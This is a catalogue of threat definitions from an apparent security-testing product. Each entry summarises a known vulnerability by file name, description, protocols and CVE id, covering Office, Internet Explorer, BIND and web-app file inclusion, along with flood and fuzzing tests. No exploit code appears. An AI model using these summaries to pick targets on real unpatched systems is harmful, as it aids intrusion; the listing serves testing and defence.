Detailed Description:	A stack buffer overflow has been identified in Netop Remote Control. The vulnerability is due to insufficient bounds checking when handling a command string while reading .dws files. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open a crafted Netop Remote Control script file containing a malicious command string. Successful exploitation of this vulnerability would allow arbitrary code execution in the security context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-none
OSVDB:	72291
Threat File Name:	FSC20100209-07_Microsoft_Office_PowerPoint_OEPlaceholderAtom_Memory_Corruption.xml
Executive Description:	Microsoft Office PowerPoint OEPlaceholderAtom Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to a use-after-free error when PowerPoint reads a malicious OEPlaceholderAtom in a specially crafted PowerPoint file. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted PowerPoint file with one of the affected applications. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user, or terminate the application resulting in a Denial of Service condition.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0032
Threat Package:	Standard
Threat File Name:	FSC20090414-11_Microsoft_Office_Excel_Crafted_SST_Record_Code_Execution.xml
Executive Description:	Microsoft Office Excel Crafted SST Record Code Execution
Detailed Description:	A memory corruption vulnerability exists in Microsoft Excel products. The vulnerability is due to improper parsing of an Excel file that includes a malformed object. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0238
Threat Package:	Standard
Threat File Name:	TSL20150512-33_Microsoft_Windows_VBScript_Regular_Expression_Information_Disclosure.xml
Executive Description:	Microsoft Windows VBScript Regular Expression Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in the Microsoft's VBScript engine. The vulnerability is due an error while processing regular expressions which allows a user to disclose memory contents of the current process. By enticing a user to open a web page, an attacker could exploit this vulnerability to bypass the ASLR security feature which can be used to facilitate further attacks.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-1684
Threat File Name:	TSL20170111-11_Adobe_Reader_and_Acrobat_XSLT_function-available_Buffer_Overflow.xml
Executive Description:	Adobe Reader and Acrobat XSLT function-available Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in the XSLT component of Adobe Reader and Adobe Acrobat. The vulnerability is due to improper validation of the parameter for XSLT function-available function call. A remote attacker could exploit the vulnerability by enticing a target user to open a maliciously crafted document or web page. Successful exploitation could result in code execution under the context of the target user.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP
CVEID:	CVE-2017-2949
Threat File Name:	FSC20110308-02_Microsoft_Windows_Media_DVR-MS_File_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Media DVR-MS File Code Execution(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Windows Media Player and Windows Media Center. The vulnerability is due to a pointer dereference error while parsing specially crafted DVR-MS files. This vulnerability can be leveraged to inject and execute arbitrary code. Remote attackers can exploit this vulnerability by enticing target users to open a specially crafted DVR-MS file. Successful exploitation would lead to code execution in the context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0042
Threat File Name:	TSL20170202-11_WordPress_REST_API_Posts_Controller_Privilege_Escalation_IPv6.xml

Executive Description:	WordPress REST API Posts Controller Privilege Escalation (IPv6 Version)
Detailed Description:	A privilege escalation vulnerability exists in WordPress. The vulnerability is due to improper handling of post id's within the REST API posts controller. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted request to a vulnerable WordPress website. Successful exploitation of this vulnerability could lead to arbitrary modification of WordPress post content.
Protocol Type:	HTTP, HTTPS, IPv6
Threat File Name:	TSL20170413-04_ISC_BIND_rndc_Control_Channel_Assertion_Failure_Denial_of_Service_IPv6.xml
Executive Description:	ISC BIND rndc Control Channel Assertion Failure Denial of Service (IPv6 Version)
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to improper handling of a null command string sent to rndc control channel interface. A remote, authenticated attacker could exploit this vulnerability by sending a maliciously crafted packet to the rndc control channel interface of a target BIND server. Successful exploitation could lead to denial-of-service conditions.
Protocol Type:	BIND RNDc Protocol,IPv6
CVEID:	CVE-2017-3138
Threat File Name:	TSL20110428-04_Microsoft_Office_PowerPoint_ExtTimeNodeContainer_Record_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office PowerPoint ExtTimeNodeContainer Record Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to memory corruption while processing specially crafted PowerPoint files that contain a ExtTimeNodeContainer record. An attacker can exploit this vulnerability by enticing a user to open a specially crafted PowerPoint file. This can result in injection and execution of arbitrary code in the security context of the currently logged on user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0655
Threat File Name:	TSL20131217-06_RealNetworks_RealPlayer_RMP_File_Heap_Buffer_Overflow.xml
Executive Description:	RealNetworks RealPlayer RMP File Heap Buffer Overflow
Detailed Description:	A heap buffer overflow exists in RealNetworks RealPlayer. The vulnerability is due an error when handling RMP files, overly long values for certain tags can result in a heap buffer overflow. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open a crafted RMP file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-6877
OSVDB:	101135
Threat File Name:	TSL20160718-06_Multiple_Products_HTTP_PROXY_Traffic_Redirection_IPv6.xml
Executive Description:	Multiple Products HTTP_PROXY Traffic Redirection (IPv6 version)
Detailed Description:	A traffic redirection vulnerability has been reported in the following products: PHP, Go, Apache HTTP Server, Apache Tomcat, HHVM, Lighttpd, Nginx and Python. This vulnerability allows attackers to set the HTTP_PROXY environment variable using the Proxy HTTP header. This vulnerability may be exploited by a remote attacker to redirect traffic through an attacker controlled proxy, potentially leading to a man-in-the-middle attack.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-5386
Threat File Name:	FSC20090113-24_Oracle_Secure_Backup_Administration_Server_login_php_Command_Injection.xml
Executive Description:	Oracle Secure Backup Administration Server login.php Command Injection
Detailed Description:	There exists a command injection vulnerability in Oracle Secure Backup. The vulnerability is due to lack of sanitation of user supplied parameters when processing HTTP requests sent to CGI program login.php. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted HTTP request to the target host. Successful exploitation would allow for arbitrary command execution in the security context of the user running the web server of Oracle Secure Backup. The behaviour of the target is entirely dependent on the intended function of the injected command.
Protocol Type:	HTTP
CVEID:	CVE-2008-5449
Threat Package:	Standard
Threat File Name:	TSL20061205-14_Citrix_Presentation_Server_Client_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Citrix Presentation Server Client ActiveX Control Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the ICA Client ActiveX control in Citrix Presentation Server Client. The flaw is due to improper handling of parameters in the SendChannelData function of the ActiveX control. By persuading the target user to visit a malicious web site, an attacker may possibly execute arbitrary code with privileges of the currently logged in user. If an attack attempt is unsuccessful in injecting and executing arbitrary code, the application using the vulnerable ICA Client ActiveX Control might terminate abnormally. If a code execution attempt is carried out successfully, the behaviour of the target host is dependent on the intention of the injected code. The injected code is executed within the security context of current user.
Protocol Type:	HTTP,HTTPS
Threat File Name:	TSL20150612-05_OpenSSL_X509_cmp_time_Denial_of_Service.xml
Executive Description:	OpenSSL X509_cmp_time Denial of Service
Detailed Description:	A denial-of-service vulnerability exists in OpenSSL. The vulnerability is due to an error in X509_cmp_time() that causes OpenSSL to read beyond the end of a buffer. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted certificate to a vulnerable OpenSSL client or server application. Successful exploitation will cause the application to terminate, resulting in a denial-of-service condition. Tester should set the variable \$destPort to 443 before test.
Protocol Type:	TLS/DTLS/HTTPS/SMTP/SMTPS/SIPS
CVEID:	CVE-2015-1789
Threat File Name:	osp_rfi.xml
Executive Description:	osp <= 1.2.1 (cfgPathToProjectAdmin) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. OSP is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2157

Threat Package:	Standard
-----------------	----------

Threat File Name:	FSC20070508-22_Microsoft_Internet_Explorer_Table_Column_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Table Column Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Internet Explorer handles changes in Table layouts. The vulnerability is a result of use of uninitialized array elements when processing table column objects inside HTML documents. An attacker can exploit this vulnerability for code execution by enticing a target user to open a malicious HTML document. Any code injected using this vulnerability would be executed in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0944
Threat Package:	Standard

Threat File Name:	FSC20040527-02_Multiple_Browsers_Telnet_URI_Handler_File_Manipulation_Vulnerability.xml
Executive Description:	Multiple Browsers Telnet URI Handler File Manipulation Vulnerability
Detailed Description:	There is a malformed URI vulnerability that affects various web-browsers. There is insufficient input validation for telnet URI (e.g., telnet://hostname). Namely, the affected products do not validate or filter "" characters at the beginning of host-names. Telnet software activated by the browsers treat these as command-line options. As such, a malicious attacker may be able to compromise the target machine. Specifically, it may be possible to create or truncate a file on the target system.
Protocol Type:	HTTP
CVEID:	CVE-2004-0411
Threat Package:	Standard

Threat File Name:	jetcast_srvr_dos.xml
Executive Description:	JetCast Server 2.0.0.4308 Remote Denial of Service Vulnerability
Detailed Description:	This threat uses a large string in a http client GET request to crash a vulnerable JetCast Server, thereby leading to a denial of service condition. JetCast Server is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4911
Threat Package:	Standard

Threat File Name:	FSC20080909-08_Microsoft_Windows_Graphics_Rendering_Engine_BMP_File_Parsing_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine BMP File Parsing Integer Overflow (IPv6 Version)
Detailed Description:	A vulnerability has been discovered in the Graphics Rendering Engine (GRE) component of Microsoft Windows. Specifically this vulnerability is exposed by the Microsoft Windows GDI+ subsystem. An attacker can exploit this vulnerability by enticing a user to open a malicious BMP file, resulting in either a denial of service, or in the injection and execution of arbitrary code with the privileges of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3015
Threat Package:	Standard

Threat File Name:	fuzz-HTTP_AppendformatsToTRACE_IPv6.xml
Executive Description:	Fuzz HTTP TRACE appended by %s (IPv6 Version)
Detailed Description:	Fuzzes the Method field appending with %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing

Threat File Name:	FSC20070508-20_Microsoft_Excel_Malformed_Filter_Records_Handling_Code_Execution.xml
Executive Description:	Microsoft Excel Malformed Filter Records Handling Code Execution
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Excel processes files. The vulnerability is a result of insufficient data validation while processing Excel AutoFilter records. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-1214
Threat Package:	Standard

Threat File Name:	lupper2_IPv6.xml
Executive Description:	Lupper Worm 2 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard

Threat File Name:	TSL20111011-17_Microsoft_Internet_Explorer_OLEAut32_dll_Uninitialized_Object_Access.xml
Executive Description:	Microsoft Internet Explorer OLEAut32.dll Uninitialized Object Access
Detailed Description:	A memory corruption vulnerability has been reported in Internet Explorer. Specifically, the vulnerability is due to the access of an object that has not been correctly initialized. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted web page in IE. Successful exploitation could result in execution of arbitrary code in the target user's security context. An unsuccessful exploitation attempt may result in the abnormal termination of the affected IE process.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1995

Threat File Name:	FSC20080129-16_Firebird_XDR_Operation_Request_Handling_Denial_of_Service_IPv6.xml
Executive Description:	Firebird XDR Operation Request Handling Denial of Service (IPv6 Version)
Detailed Description:	There exists a null-dereference overflow vulnerability in Firebird database project. The flaw resides in the External Data Representation (XDR) protocol processing routines. A remote unauthenticated attacker may exploit this vulnerability by sending crafted message to the target server. Successful attack could create a denial of service condition to the Firebird service. (IPv6 Version)
Protocol Type:	GDSDB/IPv6

CVEID:	CVE-2008-0387
Threat Package:	Standard
Threat File Name:	TSL20150609-23_Microsoft_Internet_Explorer_CVE_2015_1744_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-1744 Memory Corruption IPv6 version
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. This vulnerability is due to an issue while handling first-letter element styling when processing HTML and script code. A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPv6
CVEID:	CVE-2015-1744
Threat File Name:	msie7_dos.xml
Executive Description:	Microsoft Internet Explorer 7 Denial of Service Vulnerability
Detailed Description:	This threat uses a malicious HTTP server reply to cause a denial-of-service condition in a MSIE 7 beta client . Microsoft Internet Explorer 7 is a web browser that typically connects to a web server listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	linksys_blank_get_IPv6.xml
Executive Description:	Linksys WRT54G Blank HTTP GET (IPv6 Version)
Detailed Description:	This threat sends a blank HTTP GET request, causing some Linksys routers to freeze and require a hard reboot in order to return to functioning order. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	wingate_IPv6.xml
Executive Description:	WinGate Denial Of Service (IPv6 Version)
Detailed Description:	This threat sends 2000 random characters at the WinGate Winsock Redirector Service. Causes the service to crash. The WinGate Redirector service typically listens on port 2080. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-1999-0441
OSVDB:	1021
Threat Package:	Standard
Threat File Name:	guestbook_xss_b.xml
Executive Description:	Toms Guestebuch 1.00
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. Toms Guestebuch is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	dproxy_bof_IPv6.xml
Executive Description:	DProxy DNS Decode Reverse Name Buffer-Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious DNS packet to cause a stack overflow in DProxy, possibly resulting in the execution of arbitrary code. DProxy is DNS server that typically listens on udp port 53. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2007-1866
Threat Package:	Standard
Threat File Name:	boite_de_news_rfi.xml
Executive Description:	Boite de News Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Boite de News is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	sophos_rar_dos.xml
Executive Description:	Sophos Antivirus RAR File Denial of Service Vulnerability
Detailed Description:	This threat leverages a flaw in Sophos Antivirus's handling of a specially crafted RAR file resulting a denial-of-service condition. Sophos Antivirus is a client application. This attack uses a web server listening on port 80 for payload delivery.
Protocol Type:	HTTP
CVEID:	CVE-2006-5645
Threat Package:	Standard
Threat File Name:	rsa_webagent.xml
Executive Description:	RSA WebAgent Heap Overflow
Detailed Description:	This threat causes a heap overflow in the RSA SecurID Web Agent. This leads to potential remote code execution with the privileges of the webserver. Webserver typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1471
OSVDB:	20151
Threat Package:	Standard
Threat File Name:	XSS_Server_Injection_IPv6.xml
Executive Description:	XSS HTTP Server Header Reply (IPv6 Version)
Detailed Description:	This attack represents a malicious reply from a webserver, by inserting Javascript elements into the Server header of the HTTP reply. This will make some web crawlers log Dynamic HTML into their HTML reports, which will then be executed with local privileges. This threat typically would come from webserver listening on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2860
OSVDB:	17886
Threat Package:	Standard

Threat File Name:	osprey_rfi.xml
Executive Description:	Osprey GetRecord.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Osprey is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20101029-08_Adobe_Shockwave_Player_Lnam_Chunk_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Shockwave Player Lnam Chunk Processing Buffer Overflow (IPV6 VERSION)
Detailed Description:	A code execution vulnerability exists in Adobe Shockwave Player. The vulnerability is due to a stack buffer overflow when processing maliciously crafted DIR files containing Lnam Chunks. A remote attacker can exploit this vulnerability by enticing a target user to visit a maliciously crafted web site. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged on user. An unsuccessful exploit attempt may terminate the affected application abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-3655
Threat File Name:	storystream_rfi_IPv6.xml
Executive Description:	StoryStream 4.0 (baseDir) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. StoryStream is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090414-05_Microsoft_DirectShow_MJPEG_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft DirectShow MJPEG Parsing Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft DirectShow. The vulnerability is due to the way Microsoft DirectShow handles supported format files. A remote attacker could exploit this vulnerability by persuading a user to open a specially crafted MJPEG file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user. In an attack case where code injection is not successful, the application utilizing the vulnerable DirectX library will terminate. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0084
Threat Package:	Standard
Threat File Name:	FSC20060613-22_Microsoft_Exchange_Server_Outlook_Web_Access_Script_Injection_IPv6.xml
Executive Description:	Microsoft Exchange Server Outlook Web Access Script Injection (IPv6 Version)
Detailed Description:	A script injection vulnerability exists in Microsoft Exchange Servers running Outlook Web Access. The vulnerability is caused by improper sanitization of e-mail messages which contain script code when they are read through Outlook Web Access. A malicious user may exploit this flaw to inject and execute HTML and script code in the security context of the target user's browser session. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2006-1193
Threat Package:	Standard
Threat File Name:	InternetExplorerHistoryXSS.xml
Executive Description:	Internet Explorer History XSS Attack
Detailed Description:	This threat causes a XSS event to occur in the history bar of Internet Explorer. This allows a user to inject arbitrary commands and steal sensitive user data. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2004-2219
OSVDB:	8978
Threat Package:	Standard
Threat File Name:	TSL20140211-21_Microsoft_Internet_Explorer_CVE-2014-0283_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0283 Use After Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0283
OSVDB:	103181
Threat File Name:	sunkill_IPv6.xml
Executive Description:	SunKill Telnet Daemon Denial of Service (IPv6 Version)
Detailed Description:	This attack causes the Sun Microsystems telnet daemon to consume a large amount of resources and cause a denial of service on the target host. Telnet typically listens on port 23. (IPv6 Version)
Protocol Type:	Telnet/IPv6
CVEID:	CVE-1999-0273
OSVDB:	8729
Threat Package:	Standard
Threat File Name:	Irayoblog_rfi_IPv6.xml
Executive Description:	IrayoBlog 0.2.4 (inc/irayofuncs.php) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. IrayoBlog is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5849
Threat Package:	Standard
Threat File Name:	TSL20121212-06_Microsoft_Internet_Explorer_Mouse_Movement_Information_Disclosure_IPv6.xml

Executive Description:	Microsoft Internet Explorer Mouse Movement Information Disclosure(IPV6 Version)
Detailed Description:	Microsoft Internet Explorer is vulnerable to an information disclosure vulnerability. The vulnerability allows a web page to track mouse movements using script code, even if the page is not active or in focus. This can also track the state of Ctrl, Shift and Alt keys. A remote attacker can exploit this vulnerability by enticing a user to visit a crafted web page. Successful exploitation would result in the disclosure of mouse movements. This may have particular consequences when using virtual keyboards or graphical authentication methods.
Protocol Type:	IPV6,HTTP,HTTPS
OSVDB:	88357
Threat File Name:	cwrflood_IPv6.xml
Executive Description:	TCP CWR Flood (IPv6 Version)
Detailed Description:	This threat floods a user specified target with TCP packets from randomized, spoofed addresses, where the CWR (Congestion Window Reduced) flag has been turned on. This attack is an attempt to flood the target with erroneous packets in order to hinder performance and cause a slowed response to legitimate traffic and possibly a DoS. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090720-05_RealNetworks_Helix_Server_RTSP_SETUP_Request_Denial_of_Service.xml
Executive Description:	RealNetworks Helix Server RTSP SETUP Request Denial of Service
Detailed Description:	A denial of service vulnerability exists in RealNetworks Helix Server. The vulnerability is due to an error in the way RealNetworks Helix Server handles SETUP requests. Remote unauthenticated attackers can exploit this flaw by sending a crafted SETUP request to an affected server. As a result of processing the malicious command, a denial of service condition will be created on the target system.
Protocol Type:	RTSP
CVEID:	CVE-2009-2534
Threat Package:	Standard
Threat File Name:	efiction_xss_a_IPv6.xml
Executive Description:	eFiction XSS Vulnerabilities (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. eFiction is an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4167
OSVDB:	21118
Threat File Name:	centericq_dos.xml
Executive Description:	CenterICQ Malformed Packet Handling Remote Denial of Service Vulnerability
Detailed Description:	This threat sends a malformed 1 byte tcp packet which causes an unhandled exception. CenterICQ uses any number of ports for file transfers, so any port specification works well.
Protocol Type:	Proprietary
CVEID:	CVE-2005-3694
OSVDB:	21270
Threat Package:	Standard
Threat File Name:	oracle_web_plsql_3_IPv6.xml
Executive Description:	Oracle PLSQL Bypass Attack Three (IPv6 Version)
Detailed Description:	This threat bypasses the Oracle PLSQL gateway by prepending <<LABEL>> before the vulnerable URL. This allows a user to access any system tables in the database server. Oracle PLSQL is a web application, that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	wzdftpd_user_bof.xml
Executive Description:	wzdftpd USER Command Remote Denial of Service Vulnerability
Detailed Description:	This threat sends a maliciously crafted USER string to leverage a stack overflow vulnerability in Wzdftpd 0.8.2 that will lead to execution of code on the effected server. WarFTP is FTP server software that typically listens on tcp port 21.
Protocol Type:	FTP
CVEID:	CVE-2007-5300
Threat Package:	Standard
Threat File Name:	TSL20170112-14_ISC_BIND_Query_Response_Missing_RRSIG_Denial_of_Service.xml
Executive Description:	ISC BIND Query Response Missing RRSIG Denial of Service
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to a defect that can cause the named service to exit with an assertion failure while processing a crafted response query containing certain record types without an accompanying RRSIG. A remote, unauthenticated attacker could exploit this vulnerability by providing a specially crafted response to the vulnerable server. Successful exploitation could lead to denial-of-service condition.
Protocol Type:	DNS
CVEID:	CVE-2016-9444
Threat File Name:	barcodeax_activex_bof.xml
Executive Description:	BarCodeAx.dll v. 4.9 ActiveX Control Remote Stack Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the BarCodeAx ActiveX application, resulting in the execution arbitrary code. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120214-20_Microsoft_Office_Visio_Viewer_VSD_File_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Office Visio Viewer VSD File Type Confusion(IPV6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Office Visio Viewer. The vulnerability is due to the way Visio Viewer performs validation on attributes when handling certain Visio files. A remote, unauthenticated attacker can exploit these vulnerabilities by enticing a user to open a malicious file with a vulnerable version of the application. This can lead to code execution in the context of the affected user.

Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2012-0019
Threat File Name:	fuzz-Ethernet_destMac.xml
Executive Description:	Fuzzer for Protocol:Ethernet and Field:destMac
Detailed Description:	
Protocol Type:	Ethernet
Threat Package:	Fuzzing
Threat File Name:	brighstor_sql_IPv6.xml
Executive Description:	CA Brighstor ARCserve Backup Agent for MS SQL Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the Computer Associates Backup Agent for Microsoft's SQL server. This is caused by sending a buffer of over 3168 bytes to port 6070. This threat attempts to run malicious shell code in the context of the backup utility. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-1272
OSVDB:	18501
Threat Package:	Standard
Threat File Name:	photokorn_a_rfi.xml
Executive Description:	Photokorn Cart.inc.php Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Photokorn is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120621-10_Cisco_AnyConnect_VPN_Client_Software_Downgrade.xml
Executive Description:	Cisco AnyConnect VPN Client Software Downgrade
Detailed Description:	A software downgrade flaw exists in Cisco AnyConnect VPN client. The vulnerability is due to the WebLaunch component failing to properly validate the version of the vpndownloader.exe program when the client is deployed from the VPN headend. By enticing a user to open a specially crafted web page, a remote attacker can exploit this vulnerability to install an older version of vpndownloader.exe which is vulnerable to previously patch issues. Successful exploitation can result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-CVE-2012-2494
OSVDB:	83159
Threat File Name:	FSC20100209-03_Microsoft_Office_MSO_Buffer_Overflow.xml
Executive Description:	Microsoft Office MSO Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in Microsoft Office. The vulnerability is due to an error in the MSO.dll library while processing malformed Office files. A remote attacker can leverage this vulnerability by enticing a target user to open a maliciously crafted Office file. A successful attack can result in the injection and execution of arbitrary code on a target system. The resulting code would execute within the security context of the logged in user. In an unsuccessful attack, the affected application may abnormally terminate.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0243
Threat Package:	Standard
Threat File Name:	me_downloadsystem_rfi.xml
Executive Description:	ME Download System Header.php Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. ME Download System is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20160209-25_Microsoft_Word_CVE-2016-0022_Memory_Corruption.xml
Executive Description:	Microsoft Word CVE-2016-0022 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Word. The application fails to properly handle certain objects in memory when parsing specially crafted files.A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted file. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTPS,HTTP,IMAP,SMB/CIFS,SMTP
CVEID:	CVE-2016-0022
Threat File Name:	TSL20161230-07_PHPMailer_mail_Sender_Command_Injection_IPv6.xml
Executive Description:	PHPMailer mail Sender Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability has been reported in the PHPMailer library package. The vulnerability is due to a failure to properly validate the Sender parameter sent to the mail() function. A remote, unauthenticated attacker could exploit this vulnerability by supplying maliciously crafted data to the PHPMailer class to send email. Successful exploitation results in arbitrary command execution on the target server with the privileges of the web service.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2016-10033
Threat File Name:	etherealiSNS_IPv6.xml
Executive Description:	Ethereal iSNS Zero-Length Crash (IPv6 Version)
Detailed Description:	This threat sends a malformed packet that causes the protocol dissector of Ethereal to crash. This can be used by an attacker to prevent a network administrator from sniffing network traffic. (IPv6 Version)
Protocol Type:	iSNS/IPv6
CVEID:	CVE-2004-0633
OSVDB:	7536
Threat Package:	Standard
Threat File Name:	TSL20120301-06_Novell_GroupWise_Addressbook_Heap_Buffer_Overflow.xml
Executive Description:	Novell GroupWise Addressbook Heap Buffer Overflow

Detailed Description:	A heap buffer overflow vulnerability has been identified in Novell Groupware Client. An attacker can exploit this vulnerability by enticing a user to open a malformed Novell Address Book file (.nab) containing an overly long token. A successful attack would lead to injection and execution of arbitrary code in the security context of the target user. If the code execution attempt does not succeed, the application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB,GroupWise POA
